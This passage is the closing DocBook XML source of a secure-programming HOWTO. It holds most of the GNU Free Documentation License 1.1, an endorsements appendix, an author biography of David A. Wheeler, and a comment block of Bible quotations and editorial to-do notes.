	  commercially or noncommercially, provided that this License, the
	  copyright notices, and the license notice saying this License applies
	  to the <link linkend="fdl-document">Document</link> are reproduced in
	  all copies, and that you add no other conditions whatsoever to those
	  of this License. You may not use technical measures to obstruct or
	  control the reading or further copying of the copies you make or
	  distribute. However, you may accept compensation in exchange for
	  copies. If you distribute a large enough number of copies you must
	  also follow the conditions in <link linkend="fdl-section3">section
	  3</link>.
	</para>
	
	<para>
	  You may also lend copies, under the same conditions stated above, and
	  you may publicly display copies.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section3">
      <term>3. COPYING IN QUANTITY</term>
      <listitem>
	<para>
	  If you publish printed copies of the <link
	  linkend="fdl-document">Document</link> numbering more than 100, and
	  the <link linkend="fdl-document">Document's</link> license notice
	  requires <link linkend="fdl-cover-texts">Cover Texts</link>, you must
	  enclose the copies in covers that carry, clearly and legibly, all
	  these <link linkend="fdl-cover-texts">Cover Texts</link>:  Front-Cover
	  Texts on the front cover, and Back-Cover Texts on the back cover. Both
	  covers must also clearly and legibly identify you as the publisher of
	  these copies. The front cover must present the full title with all
	  words of the title equally prominent and visible. You may add other
	  material on the covers in addition. Copying with changes limited to
	  the covers, as long as they preserve the title of the <link
	  linkend="fdl-document">Document</link> and satisfy these conditions,
	  can be treated as verbatim copying in other respects.
	</para>
	
	<para>
	  If the required texts for either cover are too voluminous to fit
	  legibly, you should put the first ones listed (as many as fit
	  reasonably) on the actual cover, and continue the rest onto adjacent
	  pages.
	</para>
	
	<para>
	  If you publish or distribute <link
	  linkend="fdl-transparent">Opaque</link> copies of the <link
	  linkend="fdl-document">Document</link> numbering more than 100, you
	  must either include a machine-readable <link
	  linkend="fdl-transparent">Transparent</link> copy along with each
	  <link linkend="fdl-transparent">Opaque</link> copy, or state in or
	  with each <link linkend="fdl-transparent">Opaque</link> copy a
	  publicly-accessible computer-network location containing a complete
	  <link linkend="fdl-transparent"> Transparent</link> copy of the <link
	  linkend="fdl-document">Document</link>, free of added material, which
	  the general network-using public has access to download anonymously at
	  no charge using public-standard network protocols. If you use the
	  latter option, you must take reasonably prudent steps, when you begin
	  distribution of <link linkend="fdl-transparent">Opaque</link> copies
	  in quantity, to ensure that this <link
	  linkend="fdl-transparent">Transparent</link> copy will remain thus
	  accessible at the stated location until at least one year after the
	  last time you distribute an <link
	  linkend="fdl-transparent">Opaque</link> copy (directly or through your
	  agents or retailers) of that edition to the public.
	</para>
	
	<para>
	  It is requested, but not required, that you contact the authors of the
	  <link linkend="fdl-document">Document</link> well before
	  redistributing any large number of copies, to give them a chance to
	  provide you with an updated version of the <link
	  linkend="fdl-document">Document</link>.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section4">
      <term>4. MODIFICATIONS</term>
      <listitem>
	<para>
	  You may copy and distribute a <link linkend="fdl-modified">Modified
	  Version</link> of the <link linkend="fdl-document">Document</link>
	  under the conditions of sections <link linkend="fdl-section2">2</link>
	  and <link linkend="fdl-section3">3</link> above, provided that you
	  release the <link linkend="fdl-modified">Modified Version</link> under
	  precisely this License, with the <link linkend="fdl-modified">Modified
	  Version</link> filling the role of the <link
	  linkend="fdl-document">Document</link>, thus licensing distribution
	  and modification of the <link linkend="fdl-modified">Modified
	  Version</link> to whoever possesses a copy of it. In addition, you
	  must do these things in the <link linkend="fdl-modified">Modified
	  Version</link>:
	</para>
	
	<orderedlist numeration="upperalpha">
	  <listitem>
	      <para>
		Use in the <link linkend="fdl-title-page">Title Page</link> (and
		on the covers, if any) a title distinct from that of the <link
		linkend="fdl-document">Document</link>, and from those of
		previous versions (which should, if there were any, be listed in
		the History section of the <link
		linkend="fdl-document">Document</link>). You may use the same
		title as a previous version if the original publisher of that
		version gives permission.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		List on the <link linkend="fdl-title-page">Title Page</link>, as
		authors, one or more persons or entities responsible for
		authorship of the modifications in the <link
		linkend="fdl-modified">Modified Version</link>, together with at
		least five of the principal authors of the <link
		linkend="fdl-document">Document</link> (all of its principal
		authors, if it has less than five).
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		State on the <link linkend="fdl-title-page">Title Page</link>
		the name of the publisher of the <link
		linkend="fdl-modified">Modified Version</link>, as the
		publisher.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Preserve all the copyright notices of the <link
		linkend="fdl-document">Document</link>.
	      </para>
	  </listitem>

	  <listitem>
	      <para>
		Add an appropriate copyright notice for your modifications
		adjacent to the other copyright notices.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Include, immediately after the copyright notices, a license
		notice giving the public permission to use the <link
		linkend="fdl-modified">Modified Version</link> under the terms
		of this License, in the form shown in the Addendum below.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Preserve in that license notice the full lists of <link
		linkend="fdl-invariant"> Invariant Sections</link> and required
		<link linkend="fdl-cover-texts">Cover Texts</link> given in the
		<link linkend="fdl-document">Document's</link> license notice.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Include an unaltered copy of this License.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Preserve the section entitled "History", and its title, and add
		to it an item stating at least the title, year, new authors, and
		publisher of the <link linkend="fdl-modified">Modified Version
		</link>as given on the <link linkend="fdl-title-page">Title
		Page</link>.  If there is no section entitled "History" in the
		<link linkend="fdl-document">Document</link>, create one stating
		the title, year, authors, and publisher of the <link
		linkend="fdl-document">Document</link> as given on its <link
		linkend="fdl-title-page">Title Page</link>, then add an item
		describing the <link linkend="fdl-modified">Modified
		Version</link> as stated in the previous sentence.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Preserve the network location, if any, given in the <link
		linkend="fdl-document">Document</link> for public access to a
		<link linkend="fdl-transparent">Transparent</link> copy of the
		<link linkend="fdl-document">Document</link>, and likewise the
		network locations given in the <link
		linkend="fdl-document">Document</link> for previous versions it
		was based on. These may be placed in the "History" section. You
		may omit a network location for a work that was published at
		least four years before the <link
		linkend="fdl-document">Document</link> itself, or if the
		original publisher of the version it refers to gives permission.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		In any section entitled "Acknowledgements" or "Dedications",
		preserve the section's title, and preserve in the section all
		the substance and tone of each of the contributor
		acknowledgements and/or dedications given therein.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Preserve all the <link linkend="fdl-invariant">Invariant
		Sections</link> of the <link
		linkend="fdl-document">Document</link>, unaltered in their text
		and in their titles.  Section numbers or the equivalent are not
		considered part of the section titles.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Delete any section entitled "Endorsements". Such a section may
		not be included in the <link linkend="fdl-modified">Modified
		Version</link>.
	      </para>
	  </listitem>
	  
	  <listitem>
	      <para>
		Do not retitle any existing section as "Endorsements" or to
		conflict in title with any <link
		linkend="fdl-invariant">Invariant Section</link>.
	      </para>
	  </listitem>
	</orderedlist>
	
	<para>
	  If the <link linkend="fdl-modified">Modified Version</link> includes
	  new front-matter sections or appendices that qualify as <link
	  linkend="fdl-secondary">Secondary Sections</link> and contain no
	  material copied from the Document, you may at your option designate
	  some or all of these sections as invariant. To do this, add their
	  titles to the list of <link linkend="fdl-invariant">Invariant
	  Sections</link> in the <link linkend="fdl-modified">Modified
	  Version's</link> license notice. These titles must be distinct from
	  any other section titles.
	</para>
	
	<para>
	  You may add a section entitled "Endorsements", provided it contains
	  nothing but endorsements of your <link linkend="fdl-modified">Modified
	  Version</link> by various parties--for example, statements of peer
	  review or that the text has been approved by an organization as the
	  authoritative definition of a standard.
	</para>
	
	<para>
	  You may add a passage of up to five words as a <link
	  linkend="fdl-cover-texts">Front-Cover Text</link>, and a passage of up
	  to 25 words as a <link linkend="fdl-cover-texts">Back-Cover
	  Text</link>, to the end of the list of <link
	  linkend="fdl-cover-texts">Cover Texts</link> in the <link
	  linkend="fdl-modified">Modified Version</link>.  Only one passage of
	  <link linkend="fdl-cover-texts">Front-Cover Text</link> and one of
	  <link linkend="fdl-cover-texts">Back-Cover Text</link> may be added by
	  (or through arrangements made by) any one entity. If the <link
	  linkend="fdl-document">Document</link> already includes a cover text
	  for the same cover, previously added by you or by arrangement made by
	  the same entity you are acting on behalf of, you may not add another;
	  but you may replace the old one, on explicit permission from the
	  previous publisher that added the old one.
	</para>
	
	<para>
	  The author(s) and publisher(s) of the <link
	  linkend="fdl-document">Document</link> do not by this License give
	  permission to use their names for publicity for or to assert or imply
	  endorsement of any <link linkend="fdl-modified">Modified Version
	  </link>.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section5">
      <term>5. COMBINING DOCUMENTS</term>
      <listitem>
	<para>
	  You may combine the <link linkend="fdl-document">Document</link> with
	  other documents released under this License, under the terms defined
	  in <link linkend="fdl-section4">section 4</link> above for modified
	  versions, provided that you include in the combination all of the
	  <link linkend="fdl-invariant">Invariant Sections</link> of all of the
	  original documents, unmodified, and list them all as <link
	  linkend="fdl-invariant">Invariant Sections</link> of your combined
	  work in its license notice.
	</para>

	<para>
	  The combined work need only contain one copy of this License, and
	  multiple identical <link linkend="fdl-invariant">Invariant
	  Sections</link> may be replaced with a single copy. If there are
	  multiple <link linkend="fdl-invariant"> Invariant Sections</link> with
	  the same name but different contents, make the title of each such
	  section unique by adding at the end of it, in parentheses, the name of
	  the original author or publisher of that section if known, or else a
	  unique number. Make the same adjustment to the section titles in the
	  list of <link linkend="fdl-invariant">Invariant Sections</link> in the
	  license notice of the combined work.
	</para>
	
	<para>
	  In the combination, you must combine any sections entitled "History"
	  in the various original documents, forming one section entitled
	  "History"; likewise combine any sections entitled "Acknowledgements",
	  and any sections entitled "Dedications". You must delete all sections
	  entitled "Endorsements."
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section6">
      <term>6. COLLECTIONS OF DOCUMENTS</term>
      <listitem>
	<para>
	  You may make a collection consisting of the <link
	  linkend="fdl-document">Document</link> and other documents released
	  under this License, and replace the individual copies of this License
	  in the various documents with a single copy that is included in the
	  collection, provided that you follow the rules of this License for
	  verbatim copying of each of the documents in all other respects.
	</para>
	
	<para>
	  You may extract a single document from such a collection, and
	  distribute it individually under this License, provided you insert a
	  copy of this License into the extracted document, and follow this
	  License in all other respects regarding verbatim copying of that
	  document.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section7">
      <term>7. AGGREGATION WITH INDEPENDENT WORKS</term>
      <listitem>
	<para>
	  A compilation of the <link linkend="fdl-document">Document</link> or
	  its derivatives with other separate and independent documents or
	  works, in or on a volume of a storage or distribution medium, does not
	  as a whole count as a <link linkend="fdl-modified">Modified
	  Version</link> of the <link linkend="fdl-document"> Document</link>,
	  provided no compilation copyright is claimed for the compilation.
	  Such a compilation is called an "aggregate", and this License does not
	  apply to the other self-contained works thus compiled with the <link
	  linkend="fdl-document">Document</link> , on account of their being
	  thus compiled, if they are not themselves derivative works of the
	  <link linkend="fdl-document">Document</link>.  If the <link
	  linkend="fdl-cover-texts">Cover Text</link> requirement of <link
	  linkend="fdl-section3">section 3</link> is applicable to these copies
	  of the <link linkend="fdl-document">Document</link>, then if the <link
	  linkend="fdl-document">Document</link> is less than one quarter of the
	  entire aggregate, the <link linkend="fdl-document">Document's</link>
	  <link linkend="fdl-cover-texts">Cover Texts</link> may be placed on
	  covers that surround only the <link
	  linkend="fdl-document">Document</link> within the aggregate. Otherwise
	  they must appear on covers around the whole aggregate.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section8">
      <term>8. TRANSLATION</term>
      <listitem>
	<para>
	  Translation is considered a kind of modification, so you may
	  distribute translations of the <link
	  linkend="fdl-document">Document</link> under the terms of <link
	  linkend="fdl-section4">section 4</link>. Replacing <link
	  linkend="fdl-invariant"> Invariant Sections</link> with translations
	  requires special permission from their copyright holders, but you may
	  include translations of some or all <link
	  linkend="fdl-invariant">Invariant Sections</link> in addition to the
	  original versions of these <link linkend="fdl-invariant">Invariant
	  Sections</link>. You may include a translation of this License
	  provided that you also include the original English version of this
	  License. In case of a disagreement between the translation and the
	  original English version of this License, the original English version
	  will prevail.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section9">
      <term>9. TERMINATION</term>
      <listitem>
	<para>
	  You may not copy, modify, sublicense, or distribute the <link
	  linkend="fdl-document">Document</link> except as expressly provided
	  for under this License. Any other attempt to copy, modify, sublicense
	  or distribute the <link linkend="fdl-document">Document</link> is
	  void, and will automatically terminate your rights under this
	  License. However, parties who have received copies, or rights, from
	  you under this License will not have their licenses terminated so long
	  as such parties remain in full compliance.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section10">
      <term>10. FUTURE REVISIONS OF THIS LICENSE</term>
      <listitem>
	<para>
	  The <ulink type="http" url="http://www.gnu.org/fsf/fsf.html">Free
	  Software Foundation</ulink> may publish new, revised versions of the
	  GNU Free Documentation License from time to time. Such new versions
	  will be similar in spirit to the present version, but may differ in
	  detail to address new problems or concerns. See <ulink type="http"
	  url="http://www.gnu.org/copyleft">http://www.gnu.org/copyleft/</ulink>.
	</para>
	
	<para>
	  Each version of the License is given a distinguishing version
	  number. If the <link linkend="fdl-document">Document</link> specifies
	  that a particular numbered version of this License "or any later
	  version" applies to it, you have the option of following the terms and
	  conditions either of that specified version or of any later version
	  that has been published (not as a draft) by the Free Software
	  Foundation. If the <link linkend="fdl-document">Document</link> does
	  not specify a version number of this License, you may choose any
	  version ever published (not as a draft) by the Free Software
	  Foundation.
	</para>
      </listitem>
    </varlistentry>

    <varlistentry id="fdl-using">
      <term>Addendum</term>
      <listitem>
	<para>
	  To use this License in a document you have written, include a copy of
	  the License in the document and put the following copyright and
	  license notices just after the title page:
	</para>

	<para>
	  Copyright &copy; YEAR  YOUR NAME.
	</para>

	<para>
	  Permission is granted to copy, distribute and/or modify this document
	  under the terms of the GNU Free Documentation License, Version 1.1 or
	  any later version published by the Free Software Foundation; with the
	  <link linkend="fdl-invariant">Invariant Sections</link> being LIST
	  THEIR TITLES, with the <link linkend="fdl-cover-texts">Front-Cover
	  Texts</link> being LIST, and with the <link
	  linkend="fdl-cover-texts">Back-Cover Texts</link> being LIST.  A copy
	  of the license is included in the section entitled <quote>GNU Free
	  Documentation License</quote>.
	</para>

	<para>
	  If you have no <link linkend="fdl-invariant">Invariant
	  Sections</link>, write "with no Invariant Sections" instead of saying
	  which ones are invariant.  If you have no <link
	  linkend="fdl-cover-texts">Front-Cover Texts</link>, write "no
	  Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise
	  for <link linkend="fdl-cover-texts">Back-Cover Texts</link>.
	</para>

	<para>
	  If your document contains nontrivial examples of program code, we
	  recommend releasing these examples in parallel under your choice of
	  free software license, such as the <ulink type="http"
	  url="http://www.gnu.org/copyleft/gpl.html"> GNU General Public
	  License</ulink>, to permit their use in free software.
	</para>
      </listitem>
    </varlistentry>
  </variablelist>
</appendix>  

<appendix id="endorsements">
<title>Endorsements</title>
<para>
This version of the document is endorsed by the
original author, David A. Wheeler, as a document that
should improve the security of programs.
when applied correctly.
Modifications (including translations) must remove this appendix
per the license agreement included above.
</para>
</appendix>


<appendix id="about-author">
<title>About the Author</title>
<para>
David A. Wheeler is an expert in computer security and
has long specialized in development techniques for large and
high-risk software systems.
He has been involved in software development
since the mid-1970s,
and been involved with Unix and computer security since the early 1980s.
His areas of knowledge include computer security,
software safety, vulnerability analysis, inspections, Internet technologies,
software-related standards (including POSIX),
real-time software development techniques,
and numerous computer languages
(including Ada, C, C++, Perl, Python, and Java).
</para>

<para>
Mr. Wheeler is co-author and lead editor of the IEEE book
<emphasis>Software Inspection: An Industry Best Practice</emphasis>,
author of the book
<emphasis>Ada95: The Lovelace Tutorial</emphasis>,
and co-author of the
<emphasis>GNOME User's Guide</emphasis>.
He is also the author of many smaller papers and articles, including the
Linux <emphasis>Program Library HOWTO</emphasis>.
</para>

<para>
Mr. Wheeler hopes that, by making this document available, other
developers will make their software more secure.
You can reach him by email at dwheeler@dwheeler.com (no spam please),
and you can also see his web site at
<ulink url="http://www.dwheeler.com">http://www.dwheeler.com</ulink>.
</para>
</appendix>


<!--Miscellaneous quotes:
    Do not deprive the alien or the fatherless of justice,
    or take the cloak of the widow as a pledge.
            Deuteronomy 24:17


   Words from a wise man's mouth are gracious, but a fool is consumed
   by his own lips. At the beginning his words are folly;
   at the end they are wicked madness
             Ecclesiastes 10:12-13



   I took the deed of purchase - the sealed copy containing the
   terms and conditions, as well as the unsealed copy -
         Jeremiah 32:11 (English-NIV)


   Esther had not revealed her nationality and family background,
   because Mordecai had forbidden her to do so.
            Esther 2:10


   When the righteous thrive, the people rejoice;
   when the wicked rule, the people groan.
            Proverbs 29:2

   When words are many, sin is not absent, but he who holds his tongue is wise.
          Proverbs 10:19


   Reckless words pierce like a sword,
   but the tongue of the wise brings healing.
            Proverbs 12:18


   "Go and inquire of the LORD for me and for the people and for all Judah
   about what is written in this book that has been found.
   Great is the LORD's anger that burns against us because our fathers
   have not obeyed the words of this book; they have not acted in
   accordance with all that is written there concerning us."
            2 Kings 22:13

   Only be careful, and watch yourselves closely so that you do not forget
   the things your eyes have seen or let them slip from your heart
   as long as you live. Teach them to your children and to their
   children after them.
            Deuteronomy 4:9

   You prepare a table before me
   in the presence of my enemies.
   You anoint my head with oil;
   my cup overflows.   Psalm 23:5 (NIV)

   An enemy will overrun the land; he will pull down your strongholds and
   plunder your fortresses."
   Amos 3:11

    But my brothers are as undependable as intermittent streams,
    as the streams that overflow
     Job 6:15

???:  http://soledad.cs.ucdavis.edu/
 describes Linux BSM, an auditing project.

 ???: Could add a discussion of legal issues and requirements,
 U.S. and internationally.

??? Discuss formal proofs.


Per http://www.linuxdoc.org/LDP/LDP-Author-Guide/images.html,
the template for images is:
 <figure>
    <title>LyX screen shot</title>
    <mediaobject>
       <imageobject>
          <imagedata fileref="lyx_screenshot.eps" format="eps">
       </imageobject>
       <imageobject>
          <imagedata fileref="lyx_screenshot.jpg" format="jpg">
       </imageobject>
       <textobject>
          <phrase>Screen shot of the LyX document processing program</phrase>
       </textobject>
    </mediaobject>
 </figure>


-->
</book>